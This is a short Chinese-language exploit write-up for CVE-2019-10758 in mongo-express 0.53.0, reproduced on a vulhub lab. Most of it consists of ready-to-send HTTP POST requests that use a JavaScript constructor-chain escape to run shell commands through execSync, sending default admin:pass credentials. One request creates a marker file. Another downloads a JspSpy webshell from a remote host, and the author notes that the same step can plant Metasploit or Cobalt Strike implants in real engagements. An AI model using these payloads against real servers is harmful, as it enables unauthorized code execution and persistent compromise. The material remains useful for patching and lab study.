漏洞分析
漏洞简介
mongo-express是一款mongodb的第三方Web界面,使用node和express开发。
如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass
),则可以执行任意node.js代码。
影响版本
mongo-express 0.53.0
前提条件
1.知道Mongo的账号密码,或者未授权
特殊情况
由于poc中,用docker拉的mongodb默认是未授权的形式,所以不需要-u&-p来指定数据库的账号密码。但是实际环境中mongodb不太可能是未授权,所以我觉得以cli+参数启动服务的场景应该算是多见吧。
那么如果受害者指定了用户名&密码去启动express-mongo,那么攻击者直接未授权就可以打(即不需要指定authoriza header)
环境搭建
https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
环境启动后,访问http://your-ip:8081
即可查看到Web页面。
复现环境
mongo-express 0.53.0
MongoDB Version 3.4.24
直接构造poc发送即可
就会在 /tmp目录下生成success
POST /checkValid HTTP/1.1 Host: 目标ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Basic YWRtaW46cGFzcw== Content-Type: application/x-www-form-urlencoded Content-Length: 124 document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
进入docker环境里查看 /tmp目录
-----------------------------------------------------------------
测试反弹shell不成功
那么来测试远程下载
远程下载实战中可以下载到绝对路径,或者下载msf/cs马到/tmp目录上线
POST /checkValid HTTP/1.1 Host: 目标ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Basic YWRtaW46cGFzcw== Content-Type: application/x-www-form-urlencoded Content-Length: 161 document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://目标文件/JspSpy.jsp.txt -O /tmp/5.jsp")
查询 /tmp目录下是否下载5.jsp